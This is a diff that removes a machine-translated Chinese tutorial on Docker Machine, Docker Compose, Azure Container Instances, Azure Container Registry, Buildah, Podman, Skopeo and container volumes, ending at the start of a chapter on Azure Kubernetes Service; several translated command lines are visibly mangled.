9.9:使用 curl 命令测试 web 服务器 - -现在,我们将使用命令停止容器: - -现在再运行一次: - -运行-d-p 8080:80 - -这使得该网站可以在本地主机端口**8080**上使用。 - -您也可以使用**acbuild**来构建 Docker 容器。 - -### Docker Machine - -还有一种方法可以创建 Docker 容器:Docker Machine。 这是一个创建用于承载 Docker 的虚拟机的工具。 它是你应该在开发机器上运行的东西,不管它是不是物理的,并且你应该远程执行所有的事情。 - -请注意 Docker Machine 可以安装在 macOS、Linux 和 Windows 机器上。 macOS 和 Windows 安装请参考 Docker Machine 文档([https://docs.docker.com/machine/install-machine/](https://docs.docker.com/machine/install-machine/)),因为我们只安装 Linux。 - -切换回安装了的 Ubuntu 机器。 安装以下依赖项: - -Sudo apt 安装 SSHFS - -接下来,你需要下载 DockerMachine,然后将其解压缩到你的**PATH**: - -基础= https://github.com/docker/machine/releases/download/v0.16.0 \ - -&& curl - l $base/docker-machine-$(uname -s)-$(uname -m) \ - ->/tmp/docker-machine && \ - -sudo mv /tmp/docker-machine /usr/local/bin/docker-machine \ - -&& chmod +x /usr/local/bin/docker-machine - -自动补全非常有用,而且要确保你以根用户的身份运行下面的脚本,因为脚本将写入**/etc/**目录: - -基础= https://raw.githubusercontent.com/docker/machine/v0.16.0 - -对于 docker-machine-prompt 中的 I。 bash docker-machine-wrapper。 bash \ - -docker-machine.bash - -做 - -sudo wget "$base/contrib/completion/bash/${i}" -P \ /etc/bash_completion.d - -源/etc/bash_completion.d / $ i - -完成 - -注销并重新登录。 为了验证**bash 完成**是否正常工作,您可以点击 tab 按钮查看**docker-machine**可用的命令,如下图所示: - -![To verify the bash-completion using docker-machine command](img/B15455_09_10.jpg) - -###### 图 9.10:验证 bash 完成是否成功 - -验证版本: - -docker-machine 版本 - -使用 Azure 作为驱动程序,你现在可以部署一个 VM: - -Docker-machine create -d azure \ - -——azure-订阅-id\ - -——azure-ssh-user\ - -——azure-open-port 80 \ - -——azure-size - -还有其他选项,比如公共 IP 和资源组名,可以在部署期间传递。 您可以在 Docker 文档([https://docs.docker.com/machine/drivers/azure/](https://docs.docker.com/machine/drivers/azure/))中看到这些选项的完整列表和默认值。 如果我们没有为一个特定的选项指定一个值,Docker 将采用默认值。 另一件要记住的事情是,虚拟机名称应该只包含小写字母-数字字符或连字符(如果需要); 否则,您将得到一个错误。 - -在下面的屏幕截图中,您可以看到一个名为**Docker -machine-2**、大小为**Standard_A2**的虚拟机的部署已经成功,Docker 正在该机器上运行。 为了简单起见,我们将订阅 ID 保存为变量**$SUB_ID**,这样就不必每次都检查它; 如果需要,您也可以这样做。 因为我们之前已经验证过了,所以司机不会要求我们再次登录。 驱动程序会记住您的凭证长达两周,这意味着您不必在每次部署时都登录。 您还可以看到部署了哪些资源: - -![Output representing successful deployment of docker-machine-2 VM](img/B15455_09_11.jpg) - -###### 图 9.11:部署 docker-machine-2 虚拟机 - -要告诉 Docker 使用远程环境而不是本地运行容器,执行以下命令: - -docker-machine env - -eval $(docker-machine env) - -要验证是否正在使用远程环境,请使用**info**命令: - -码头工人信息 - -在其他信息中,输出显示你正在使用一个运行在 Azure 中的特定虚拟机: - -![Detailed information about the Docker using dockor info command](img/B15455_09_12.jpg) - -###### 图 9.12:获取 docker 信息 - -对于 Docker Machine,执行以下命令: - -docker-machine ls - -输出应该类似如下所示: - -![Listing various detail of the Docker machine](img/B15455_09_13.jpg) - -###### 图 9.13:列出 docker-machine - -让我们创建一个 nginx 容器,将主机端口**80**映射到容器端口**80**。 这意味着所有到达主机 VM 端口**80**的流量都将被定向到容器的端口**80**。 这是用**-p**参数给出的。 执行如下命令创建 nginx 容器: - -Docker 运行-d -p 80:80——restart=always nginx - -查找虚拟机的 IP 地址: - -docker-machine ip - -在浏览器中使用该 IP 地址来验证 nginx 是否正在运行。 - -Docker Machine 还允许我们使用**scp**参数将文件复制到虚拟机中,甚至在本地挂载文件: - -Mkdir -m 777 /mnt/test - -docker-machine mount:/home//mnt/test - -使用**docker ps**找到正在运行的实例,停止它们,并删除它们,以便为下一个实用程序做好准备。 - -### Docker Compose - -Docker Compose 是一个用于创建多容器应用的工具,例如,一个需要 web 服务器和数据库的 web 应用。 - -您可以在[https://github.com/docker/compose/releases](https://github.com/docker/compose/releases)查看 Docker Compose 最新或稳定的版本并安装它,将命令中的版本号替换为最新版本: - -sudo curl - l "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" - o /usr/local/bin/docker-compose - -现在,应用可执行权限到我们下载的二进制文件: - -/usr/local/bin/docker-compose - -接下来,验证安装: - -docker-compose 版本 - -如果安装成功,你可以看到 Docker Compose 的安装版本: - -![Verifying the version of the Dockor Compose information](img/B15455_09_14.jpg) - -###### 图 9.14:验证 Docker 组合安装 - -#### 请注意 - -安装后,如果上述命令失败,则检查您的路径,否则创建一个符号链接到**/usr/bin**或路径中的任何其他目录。 要找出**PATH**中的目录,在 shell 中执行**$PATH**。 要创建一个符号链接,执行**sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose**。 - -创建一个名为**docker-compose 的文件。 yml**包含以下内容: - -wordpress: - -图片:wordpress - -链接: - -    - db:mysql - -港口: - -- 80:80 - -db: - -  image: mariadb - -环境: - -mysql_root_password: - -将**<密码>**替换为您选择的密码。 在仍然连接到 Azure 环境的同时,使用 Docker Machine 执行以下操作: - -docker-compose 了- - -如果构建成功,两个容器在运行,您可以验证通过使用**码头工人 ps**和打开浏览器正确的 IP 地址<(**docker-machine IP 虚拟机名称>**)。 WordPress 安装程序正在等着你。 - -### Docker 注册表 - -每次我们执行**docker 运行**或**docker pull**(仅限下载),图像都是从互联网上获取的。 它们是从哪里来的? 运行这个命令: - -docker info | grep 注册表 - -上述命令的输出结果为:[https://index.docker.io/v1/](https://index.docker.io/v1/)。 这个 URL 是官方的 Docker Hub。 Docker Hub 或 Docker Store 也有一个很好的 web 界面,可以通过[https://hub.docker.com](https://hub.docker.com)获得,它是一个私有和公开的 Docker 映像的在线存储库。 - -可以使用**docker search**命令来搜索该存储库。 为了限制这个命令的输出,你可以添加过滤器: - -Docker search -filter "is-official=true - -下面是**docker search**命令的输出: - -![Output of docker search command](img/B15455_09_15.jpg) - -###### 图 9.15:docker 搜索命令的输出 - -可以选择添加**——no-trunc**参数来查看图像的完整描述。 在输出中,还有一个星级评级,可以帮助我们选择最好的可用图像。 - -如果你在 Docker Hub 网站上创建自己的账户,你可以使用**Docker 推送**将你的图片上传到注册表。 这是免费的! - -以以下方式登录: - -docker login -u-p - -构建图像: - -docker build -t/:versiontag。 - -你也可以在图片后面加上标签: - -docker 标签/:版本标签 - -对于版本控制,最好使用诸如**v1.11.1.2019**这样的字符串,这意味着第一个版本于 2019 年 11 月 1 日发布。 如果您不添加该版本,它将被标记为最新版本。 - -使用**docker search**命令无法看到标签。 你需要 web 接口或 API 查询码头工人使用**旋度**(一个工具来传输数据和从服务器)和**金桥(工具类似于**sed**但专门为 JSON 数据):** - -wget -q https://registry.hub.docker.com/v1/repositories//tags - o - | jq - -#### 请注意 - -Jq 默认不安装。 你必须使用**apt 安装 jq**来安装它。 - -该输出将是 JSON 格式的。 您可以使用**jq**进一步查询,并在需要时细化输出。 如果你不想使用 jq 格式化 JSON,你可以使用本机**sed**,**tr**,和**cut**命令格式化输出,得到更清晰的结果: - -wget - q https://registry.hub.docker.com/v1/repositories//标签- o - | sed - e ' s / [] [] / / g - e ' s / / / g - e 的 s / / / g ' | tr '} ' ' \ n ' | - d”:“f3 - -如果你想获得 nginx 的所有标签,你可以用**nginx**替换**<图像名称>**。 - -我们已经讨论了 Docker Hub 以及如何检查可用的映像。 类似地,Azure 提供了 Azure 容器注册表,您可以在其中存储您的私有映像,并在需要时提取它们。 在我们开始 Azure 容器注册表之前,我们需要了解 Azure 容器实例,有了这些实例,您就可以运行容器,而无需管理主机。 让我们继续学习更多。 - -## Azure 容器实例 - -现在我们已经能够在虚拟机中运行容器了,我们可以更进一步:我们可以使用 Azure 容器实例服务来运行它,而无需管理服务器。 - -您可以使用 Azure 门户来实现这一点。 在左侧导航栏中选择**All Services**,搜索**Container 实例**。 在**容器实例**中,单击**Add**创建一个新的容器实例,门户将把您重定向到以下窗口: - -![Creating a new container instance on the Azure Container Instances portal](img/B15455_09_16.jpg) - -###### 图 9.16:创建一个 Docker 容器实例 - -可以新建资源组,也可以使用已有的资源组。 将容器名称设置为**nginx**,**图像类型设置为**公共**因为我们要拉的公众形象,将图像名称设置为**nginx:最新的**【显示】设置 Linux 操作系统类型**,然后选择所需的资源要求容器。 点击**Next**,在**Networking**部分,我们将暴露**端口 80**为 HTTP 流量,如下截图所示。 此外,您还可以添加**DNS 标签**,并根据需要选择一个公网 IP 地址:**** - - ****![Adding networking details for container instance](img/B15455_09_17.jpg) - -###### 图 9.17:添加容器实例的网络细节 - -这对于验证和创建实例来说已经足够了。 您可以跳过接下来的部分,进入**Review+ Create**。 然而,Azure 在**advanced**选项卡中提供了高级选项。 它们可用于添加环境变量、设置重启策略选项,以及使用命令覆盖包含一组在初始化容器时需要执行的命令。 如果您愿意,您也可以配置它。 - -你也可以使用 Azure CLI 用命令行创建容器: - -az container create——resource-group——name nginx——image nginx:latest——dns-name-label nginx-loa——ports 80 - -你也可以使用 PowerShell: - -New-AzContainerGroup -ResourceGroupName' - --Name nginx -Image nginx:latest r - otype Linux ' - --DnsNameLabel nginx-loa2 - -请注意,DNS 标签在您所在地区必须是唯一的。 - -在命令的回显信息中,可以看到实例的 IP 地址: - -![Container creation using PowerShell](img/B15455_09_18.jpg) - -###### 图 9.18:使用 PowerShell 创建容器 - -您应该能够访问一个 FQDN 和 IP 地址上的 web 服务器。 如截图所示,你可以将浏览器指向 DNS 标签或 IP 地址,你可以看到**欢迎来到 nginx!** 页: - -![Output of the web page when the browser is pointed to the DNS label](img/B15455_09_19.jpg) - -###### 图 9.19:当浏览器指向 DNS 标签时,web 服务器的输出 - -要获取容器实例的列表,执行以下操作: - -阿兹容器列表 - -或者,执行以下操作: - -Get-AzContainerGroup |格式表 - -到目前为止,我们一直依赖 Docker Registry 来保存、提取和推送图像。 Azure 提供了一个私有的映像注册表,您可以在其中存储映像,以便在需要时使用它们。 这个服务称为 Azure 容器注册表。 让我们来学习一下。 - -## Azure 容器注册表 - -如前所述,您可以使用私有的 Azure 容器注册表来代替 Docker 注册表。 这项服务不是免费的! 使用这个 Azure 服务的优点是,您拥有 Blob 存储的所有特性(可靠性、可用性、复制等),并且可以将所有流量保持在 Azure 内,这使得这个注册表在特性、性能和成本方面都成为一个有趣的选项。 - -### 使用 Azure Portal - -创建注册表最简单的方法是使用 Azure 门户。 在左侧导航栏中,选择**All Services**,搜索**Container 注册表**。 点击**Add**,您应该会看到以下屏幕。 不要忘记启用**Admin 用户**选项; 通过这样做,你可以通过**docker 登录**登录容器注册表,用户名作为注册表名,密码作为访问密钥: - -![Container registry creation using the Azure portal](img/B15455_09_20.jpg) - -###### 图 9.20:使用 Azure 门户创建容器注册表 - -如果注册表准备好了,将会有一个弹出窗口,表明任务已经完成,您将能够看到资源。 如果您导航到**Access Keys 刀片**,您将找到登录服务器和您的用户名,它与注册表名称和密码集相同: - -![Screenshot of the Access key blade pane](img/B15455_09_21.jpg) - -###### 图 9.21:Access 关键刀片窗格 - -使用这些信息登录到存储库,就像使用 Docker Hub 一样。 - -在推送映像之后,它将在存储库中可用。 从那里,您可以将它部署到 Azure 容器实例服务并运行它。 - -### 使用 Azure CLI - -我们已经通过 Azure 门户创建了一个 Azure Container Registry 实例。 也可以使用 Azure CLI 和 PowerShell 来执行相同的任务。 我们将遵循 Azure CLI 的步骤,我们鼓励您自己使用 PowerShell 尝试这个过程。 - -首先,我们需要一个安装了 Docker 和 Azure CLI 的 Linux 虚拟机。 - -让我们从创建资源组开始,或者您可以使用与门户示例中使用的相同的资源组。 回想一下我们在一开始学习的命令,在*Docker 安装*一节; 我们将继续进行一个新的资源组: - -Az 组 create——name Az -acr-cli——location eastus - -一旦你得到成功消息,继续使用下面的方法创建容器注册表: - -azacr create——resource-group az-acr-cli——name azacrcliregistry——sku Basic——admin-enabled true - -这里,我们使用 Basic SKU 创建容器注册表。 还有其他可提供更多存储选项和吞吐量的 sku。 sku 指向容器注册表的不同定价层。 访问 Microsoft Azure 定价页面([https://azure.microsoft.com/en-in/pricing/details/container-registry/](https://azure.microsoft.com/en-in/pricing/details/container-registry/))查看每个 SKU 的定价。 由于这是一个演示,并保持成本最低,我们将使用 Basic。 - -在部署 Azure Container Registry 实例之后,我们将登录到注册表。 但要登录,我们需要密码。 我们已经知道注册表的用户名,这是注册表的名称,所以让我们找到注册表的密码: - -show——name azacrcliregistry——resource-group Az -acr-cli - -输出将显示用户名和密码。 请把它们记下来。 您可以使用密码 1 或密码 2。 现在我们确定了凭据,我们将通过执行以下操作登录到 Azure 容器注册表实例: - -azacr login—name azacrcliregistry—username azacrcliregistry—password - -如果登录成功,您应该会看到如下截图所示的输出: - -![Output displaying successful login of Azure Container Registry](img/B15455_09_22.jpg) - -###### 图 9.22:Azure Container Registry 登录成功 - -让我们继续,将一个图像推送到注册表。 为了推送一个图像,首先我们需要有一个图像。 如果您使用的虚拟机与前面的示例中使用的相同,那么可能会引入一些映像。 如果图像不存在,可以使用**docker 拉<图像名称>**来获取图像。 您可以使用**docker images**命令来验证可用图像列表。 因为我们已经有了一个 nginx 映像,所以我们不打算从 Docker Hub 中提取它。 - -现在我们有了图像,让我们标记它。 标记将帮助您知道您正在使用的图像。 例如,如果您有一个标记为**v1**的图像,并对其进行了一些更改,则可以将其标记为**v2**。 标记可以帮助您根据发布日期、版本号或任何其他标识符对图像进行逻辑组织。 我们需要标记在**【显示】AcrLoginName>/<图像名称>:【病人】版本标记>**格式,在**acr-name**的 FQDN Azure 容器注册表实例。 要获取 Azure Container Registry 实例的 FQDN,执行以下操作: - -azacr show -n azacrcliregistry -g az-acr-cli | grep loginServer - -对于 nginx 图像,我们将其标记为**nginx:v1**: - -Docker 标签 nginx azacrcliregistry.azurecr.io/ngnix:v1 - -让我们使用**docker push**命令将带标签的图像推送到 Azure Container Registry: - -码头工人推 azacrcliregistry.azurecr.io / ngnix: v1 - -所有图层都应该被推送,如下图所示: - -![Pushing the tagged image to Azure Container Registry](img/B15455_09_23.jpg) - -###### 图 9.23:将带标签的图像推送到容器注册表 - -假设您已经将多个图像推送到 Azure Container Registry,并希望获得所有图像的列表。 然后可以使用**az acr 存储库列表**命令。 要列出我们在 Azure Container Registry 实例中创建的所有映像,使用下面的命令: - -Az acr 存储库列表——name azacrcliregistry -o table - -可以使用**docker run**命令运行容器。 但是始终要确保映像名称的格式为**/**。 Docker 的时代即将结束,最终将被无守护的下一代工具所取代。 - -下一节将介绍这些工具,以及如何使用 Docker 实现平滑转换。 - -## Buildah, Podman, and Skopeo - -在前一节中,我们讨论了 Docker 是如何工作的,以及如何使用它来部署容器。 如前所述,Docker 使用 Docker 守护进程来帮助我们实现这一切。 如果我们说人们已经开始和 Docker 说再见了呢? 是的,随着下一代容器管理工具的引入,Docker 正在逐渐消失。 我们并不是说 Docker 完全消失了,但它迟早会被无根或无守护的 Linux 容器工具所取代。 您没有读错:这些工具没有运行守护进程,使用单巨石守护进程的方法即将结束。 难怪人们开始称使用这些工具部署的集装箱为“无 dockercontainer”。 - -### 历史 - -你可能想知道这一切是什么时候发生的。 早在 2015 年,Docker Inc.和 CoreOS 以及其他一些组织就提出了**Open Container Initiative**(**OCI**)的想法。 其目的是标准化容器运行时和图像格式规范。 OCI 映像格式被大多数容器映像注册中心支持,例如 Docker Hub 和 Azure 容器注册中心。 现在可用的大多数容器运行时要么与 OCI 兼容,要么在管道中有 OCI。 这仅仅是个开始。 - -早些时候,Docker 是 Kubernetes 唯一可用的容器运行时。 显然,其他厂商希望在 Kubernetes 中支持它们特定的运行时。 由于这种困境和缺乏对其他供应商的支持,Kubernetes 在 2017 年创建了 CRI。 CRI 代表容器运行时接口。 您可以使用其他运行时,如 CRI-O、containerd 或 frakti。 由于 Kubernetes 的蓬勃发展和对多个运行时的支持,Docker 的垄断开始被推翻。 Docker 的垄断地位很快就改变了,它成为 Kubernetes 支持的运行时之一。 这一变化产生的影响实际上催生了无守护程序工具的想法,并推翻了使用需要超级用户访问的 monolith 守护程序的方法。 - -让我们试着理解一些流行的术语,而不是使用一般的术语。 Buildah 用于构建容器,Podman 用于运行容器,Skopeo 允许您对存储图像的图像和存储库执行各种操作。 让我们仔细看看这些工具。 有些人建议在使用这些工具之前删除 Docker,但我们建议保留 Docker,以便您可以不断地将这些工具与它进行比较。 如果您遵循了前面关于 Docker 的章节,您将能够创建一个类比。 - -### 安装 - -安装这些工具非常简单。 你可以在 Ubuntu 中使用 apt,在 RHEL 中使用 yum 来安装这些工具。 因为我们使用的是同一个 VM,所以我们将按照 Ubuntu 安装这些包。 要安装 Buildah,请执行以下操作: - -sudo apt 更新 - -Sudo apt 安装-y software-properties-common - -Sudo add-apt-repository -y ppa:projectatomic/ppa - -sudo apt 更新 - -Sudo apt 安装-y buildah - -因为我们已经在安装 Buildah 期间添加了 PPA 存储库,所以我们可以直接使用**apt install**来部署 Podman。 安装 Podman,请执行以下操作: - -安装 podman - -为了安装 Skopeo,我们需要在 Ubuntu 虚拟机上安装**snap**。 如果您使用的是 Ubuntu 16.04 LTS 或更高版本,那么将默认安装 snap。 否则,您必须使用**apt install snapd**手动安装它。 - -让我们使用 snap 来安装 Skopeo: - -Sudo snap install skopeo -edge - -#### 请注意 - -如果你得到一个错误消息,说明**版本不是产品**,你可以使用**-devmode**参数来安装; 这将跳过此错误并完成安装。 - -现在我们已经准备好探索这些工具了。 - -### Buildah - -在前一节中,我们讨论了 Dockerfiles。 下面是有趣的部分:Buildah 完全支持 Dockerfiles。 您所要做的就是编写 Dockerfile 并使用**bud**命令,它代表 build- use -docker。 让我们以 Dockerfile 一节中使用的相同示例为例。 通过执行**vi Dockerfile**来创建 Dockerfile(你可以使用任何文本编辑器),并添加以下行: - -来自 nginx - -运行 apt-get——yes update - -运行 apt-get——yes 安装 apache2 - -CMD /usr/sbin/apachectl -e info - d 前台 - -80 年公开 - -保存文件。 - -在构建之前,还有一些事情需要处理。 build 在**/etc/containers/ registrers .conf**文件中查找注册表列表。 如果该文件不存在,我们需要创建一个,添加以下代码,并保存该文件: - -[registries.search] - -注册中心=(“docker.io”) - -通过这样做,我们指示在 Docker Hub 中搜索图像。 如果需要,还可以将 Azure Container Registry 实例添加到列表中。 - -让我们继续构建图像; 确保您在 Dockerfile 所在的目录中。 使用下面的方法开始构建过程: - -buildah bud -t ngnix-buildah . - -我们创建了一个名为**nginx-buildah**的映像。 要查看图像列表,可以使用**构建图像**命令。 是的,我们知道它看起来非常类似于你如何在 Docker 列表图像。 我们需要记住这个类比,它会帮助你学习。 - -输出将类似如下: - -![Output of the list of images using buildah images command](img/B15455_09_24.jpg) - -###### 图 9.24:使用 buildah 命令列出图像 - -您可以看到,Buildah 列出了我们从 Docker Hub 提取的映像,以及我们创建的存储在本地主机存储库中的映像。 - -要从一个映像构建一个容器,我们可以使用以下方法: - -build from - -这将创建一个名为**-working container**的容器。 如果你想构建一个 nginx 容器,执行以下命令: - -来自 nginx 的构建 - -你会得到一个类似的输出: - -![Building an nginx container using "buildah from nginx" command](img/B15455_09_25.jpg) - -###### 图 9.25:构建一个 nginx 容器 - -就像使用**docker ps**列出所有的容器一样,我们将运行**buildah ps**,并且我们将能够看到我们刚刚创建的**nginx-working-container**: - -![Listing the containers using buildah ps command](img/B15455_09_26.jpg) - -###### 图 9.26:使用 buildah ps 命令列出容器 - -此外,我们可以使用**buildah run**命令直接在容器中执行命令。 语法如下: - - - -让我们尝试打印我们创建的 nginx 容器的**/etc/os-release**文件的内容。 命令如下: - -运行 nginx-working-container cat /etc/os-release - -输出将类似如下: - -![Printing the content of the nginx container using buildah run nginx-working-container cat /etc/os-release command](img/B15455_09_27.jpg) - -###### 图 9.27:打印 nginx 容器的内容 - -与 Docker 一样,Buildah 也支持**push**、**pull**、**tag**和**inspect**等命令。 - -### Podman - -我们通过 Buildah 构建的图像符合 OCI 要求,可以与 Podman 一起使用。 在 Podman 中,这种类比继续存在; 我们所要做的就是把所有的 Docker 命令替换成 Podman 命令。 我们必须记住的关键事情之一是,在 Podman 中,我们不能作为非 root 用户为容器进行端口绑定。 如果您的容器需要端口映射,那么您必须将 Podman 作为根运行。 因为我们已经讨论过 Docker,并且您已经熟悉 Docker 命令,所以我们将尝试运行一个容器并进行验证。 让我们创建一个 nginx 容器,将端口映射到**8080**。 因为我们需要映射一个端口,我们将以**sudo**的方式运行命令: - -执行-d -p 8080:80——name webserver nginx 命令 - -因为我们已经使用**sudo**命令创建了容器,所以它将由根用户拥有。 如果容器是使用**sudo**创建的,请确保将与该容器相关的所有操作都链接在 sudo 上。 - -要列出容器,使用**podman ps**,我们可以看到该容器正在监听主机的**0.0.0.0:8080**,该主机被映射到该容器的端口: - -![Using podman ps command to list the containers](img/B15455_09_28.jpg) - -###### 图 9.28:使用 podman ps 命令列出容器 - -让我们做一个**curl**调用,并确认 web 服务器是否正在端口**8080**上运行: - -旋度 localhost: 8080 - -如果一切正常,你可以看到 nginx 欢迎页面: - -![Verifying the authentication to the port of the web server curl command](img/B15455_09_29.jpg) - -###### 图 9.29:验证 web 服务器端口的身份验证 - -是的,容器正在无守护进程地运行! - -这里我们没有介绍所有的 Podman 命令,一旦您熟悉 Docker,您所要做的就是在命令行中用**Podman**替换**Docker**。 - -### Skopeo - -如果您还记得,之前我们尝试使用 Docker 获取图像的标签。 使用 Skopeo,您可以检查存储库、复制映像和删除映像。 首先,我们将使用**skopeo inspect**命令在 Docker Hub 中获取图像的标签,而不需要拖拽它: - -skopeo 检查码头工人:/ / nginx:最新 - -运行此命令将触发一些警告。 你可以忽略它们。 如果检查输出,可以看到它给出了标记、层、OS 类型等。 - -您可以使用**skopeo copy**命令跨多个存储库复制容器映像。 此外,您可以在 Azure 容器注册表中使用 Skopeo。 - -我们不会涵盖所有这些。 然而,你可以访问这些工具的 GitHub 库: - -* [https://github.com/containers/buildah](https://github.com/containers/buildah ) -* Podman:[https://github.com/containers/libpod](https://github.com/containers/libpod) -* [https://github.com/containers/skopeo](https://github.com/containers/skopeo ) - -## 容器和储存 - -本节的目的是给你一个容器和存储的基本概念。 每个可以创建映像的构建工具都提供了将数据添加到容器的选项。 - -您应该只将此特性用于提供配置文件。 应用的数据应该尽可能地托管在容器之外。 如果您想快速更新/删除/替换/缩放您的容器,如果数据在容器中,这几乎是不可能的。 - -当我们创建一个容器时,存储被附加到容器上。 但是,容器是短暂的,这意味着在销毁容器时也会销毁存储。 让我们假设您创建了一个用于测试的 Ubuntu 容器,并将一些测试过的脚本保存在该容器中,希望以后可以使用它们。 现在,如果您不小心删除了这个容器,那么您稍后测试并保存的所有脚本都将消失。 - -您的应用数据非常重要,您希望在容器的生命周期结束后仍然保留它。 因此,我们希望将数据从容器生命周期中分离出来。 通过这样做,您的数据不会被销毁,并且可以在需要时重用。 在 Docker 中,这是通过使用卷实现的。 - -Docker 支持多种持久卷选项,包括 Azure Files。 换句话说,您可以将 Azure 文件共享作为一个持久卷绑定到 Docker 容器。 为了演示这一点,我们将访问主机卷,其中的位置将作为卷挂载到容器。 这些步骤的目的是展示如何在容器从主机中移除后保存数据。 - -卷信息在创建容器时通过**-v**参数传递给**docker 运行**命令。 一般语法如下: - -Docker 运行-v /some-directory/在主机:/some-directory/在容器中 - -假设您有一个应用,该应用将在容器中的**/var/log**目录中创建一个文件,我们需要将其持久化。 在下一个命令中,我们将主机中的一个目录映射到容器的**/var/log**目录。 - -要完成这个练习,您需要一个运行 Docker 的 Linux 虚拟机。 让我们在主机上创建一个**~/myfiles**目录,它将被映射到容器: - -mkdir ~/myfiles - -让我们创建一个带有交互式 shell 的 Ubuntu 容器,其中通过**-v**参数来挂载卷: - -Docker 运行-it -v ~/myfile:/var/log ubuntu - -如果容器创建成功,您将以 root 用户登录该容器: - -![Creating the Ubuntu container](img/B15455_09_30.jpg) - -###### 图 9.30:创建 Ubuntu 容器 - -我们将进入容器的**/var/log**目录,使用下面的命令创建 10 个空文件: - -触摸文件{10}1 . . - -列出目录的内容将显示我们刚刚创建的 10 个文件: - -![Getting the list of recent 10 files created in the /var/log directory](img/B15455_09_31.jpg) - -###### 图 9.31:列出/var/log 目录的内容 - -使用*Ctrl*+*D*退出交互式 shell,现在我们回到主机。 现在我们将删除容器: - -docker rm - -**id/name**可以通过**docker ps——all**命令的输出信息获取。 - -现在容器已经被删除,我们将转到主机的**~/myfiles**目录来验证内容。 - -在下面的截图中,可以看到容器已经被成功删除; 但是,**~/myfiles**目录仍然保存我们在容器中创建的文件: - -![Listing the files in the ~/myfiles directory](img/B15455_09_32.jpg) - -###### 图 9.32:在~/myfiles 目录下列出文件 - -现在我们知道如何使我们的量持久。 对于 Docker,有[https://github.com/ContainX/docker-volume-netshare](https://github.com/ContainX/docker-volume-netshare)等解决方案。 - -如果你正在使用 Docker,并且想要使用 Azure Files,你可以使用 Cloudstor,一个可以在[https://docs.docker.com/docker-for-azure/persistent-data-volumes](https://docs.docker.com/docker-for-azure/persistent-data-volumes)上找到的插件。 - -使用 Azure File Storage 可能不是最便宜的解决方案,但通过这种方式,您可以获得所需的所有可用性和备份选项。 - -如果你要用 Kubernetes,那就完全是另一回事了。 我们将在下一章讨论那件事。 - -## 总结 - -在本章中,我们讨论了在 Azure 中部署工作负载的另一种方法。 在介绍了容器虚拟化的历史、思想和概念之后,我们讨论了一些可用的选项。 除了 LXC 等较老的实现外,我们还讨论了其他一些很棒的、可靠的宿主容器实现:systemd-nspawn 和 Docker。 - -我们不仅了解了如何运行从存储库中提取的现有映像,还了解了如何创建我们自己的映像。 也许最大的消息是有一个叫做 Buildah 的工具,它可以使用 Open Container Initiative 的 OCI 标准创建映像,并且可以用于 Docker。 - -这一章的大部分内容是关于 Docker 的。 这是目前实现最广泛的容器解决方案。 说到实现,有很多方法可以实现/部署 Docker: - -* 在虚拟机上手动部署 -* 从市场部署一个随时可用的 VM -* 码头工人的机器 -* Azure 容器实例 - -还讨论了如何与 Docker Hub 和 Azure Container Registry 一起工作。 - -最后,我们讨论了新的容器技术,如 Buildah、Podman 和 Skopeo。 - -我们在这一章结束时简单介绍了容器和存储。 您可能想知道,如果容器被销毁,附加到容器的存储会发生什么情况,或者如何使存储持久。 您将在下一章*第 10 章*,*使用 Azure Kubernetes 服务*学习持久性。 此外,我们还将讨论著名的容器编排工具 Kubernetes。 - -## 问题 - -1. 使用容器的原因是什么? -2. 什么时候容器不是您需要的解决方案? -3. 如果您需要虚拟专用服务器之类的东西,您是否需要 VM,或者是否有一个容器虚拟化解决方案可能是一个好主意? -4. 为什么从一个解决方案(比如 Docker)迁移到另一个解决方案(比如 Buildah)不会很困难呢? -5. 开发机器的用途是什么? -6. 为什么使用 Buildah 是一个好主意,即使它正在大力开发? -7. 为什么不应该将应用数据存储在容器中? - -## 进一步阅读 - -在容器虚拟化领域执行进一步的读取不是一件很容易的事情。 对于**system -nspawn**,它相对简单:手册页很容易阅读。 我们做一个相关的建议是**systemd-nspawn 甚至码头工人:红帽提供一个文档在网站上称为资源管理指南(https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/resource_management_guide/)并且有良好的信息。** - - **这里列出了一些关于 Docker 的参考文献: - -* *编排 Docker*,作者 Shrikrishna Holla,在这里你可以了解如何管理和部署 Docker 服务 -* Mark Panthofer 的《掌握 Docker 企业:采用敏捷容器的配套指南》,在这里你可以探索 Docker EE 的附加服务以及如何使用它们************ \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/10.md b/docs/handson-linux-admin-azure/10.md deleted file mode 100644 index ae7019cb..00000000 --- a/docs/handson-linux-admin-azure/10.md +++ /dev/null @@ -1,1408 +0,0 @@ -# 十、使用 Azure Kubernetes 服务 - -在前一章中,我们探讨了容器虚拟化的世界,特别是 Docker 容器。 本章是关于使用**Azure Kubernetes 服务**(**AKS**)管理容器化工作负载的。 - -这一章与这本书的其他章节不同。 到目前为止,每一章都是关于基础设施和提供一个平台:在云中工作的经典系统管理员。 甚至在*第 9 章*、*Azure 中的容器虚拟化*中也包含了诸如“我们如何安装 Docker?” 以及“我们如何让容器启动并运行?” 本章我们要回答的问题如下: - -* 我们如何在开发阶段和之后部署和管理工作负载? -* 我们如何向上/向下缩放? -* 可用性选项有哪些? - -Kubernetes 为所有这些问题提供了一个重要的答案。 它是一种用于自动化重要任务的解决方案,例如基于容器的应用的部署、管理、扩展、网络和可用性管理。 - -Kubernetes 最初由谷歌设计,现在由云本地计算基金会([https://www.cncf.io](https://www.cncf.io))维护。 微软是该基金会的重要合作伙伴,并且在资金和代码方面是 Kubernetes 项目的重要贡献者。 实际上,Kubernetes 的联合创始人之一 Brendan Burns 在微软工作,领导着微软内部的容器编排团队。 除此之外,微软还启动了几个开源项目,为 Kubernetes 提供额外的工具。 - -由于微软对 Kubernetes 的投入如此之多,它能够在 Azure 中实现一个完全与上游兼容的 Kubernetes 版本。 这对开发人员来说也很重要,这样他们就可以使用本地 Kubernetes 安装来开发软件,并且在开发完成后,将其发布到 Azure 云中。 - -AKS 为 Kubernetes 提供了一个完全管理的容器即服务解决方案。 这意味着您不必考虑 Kubernetes 软件的配置、管理和升级。 控制平面由 Azure 管理。 - -AKS 使得在 Azure 中部署和管理 Kubernetes 变得很容易:它可以处理完整的维护过程,从供应到保持应用的更新,并根据您的需求进行升级。 - -即使在没有停机的情况下升级 Kubernetes 集群,也可以使用 AKS 完成。 - -最后(但并非最不重要),可以对 Kubernetes 集群的每个部分进行监控。 - -在本章结束时,你将能够: - -* 解释一下 Kubernetes 和 AKS 是什么。 -* 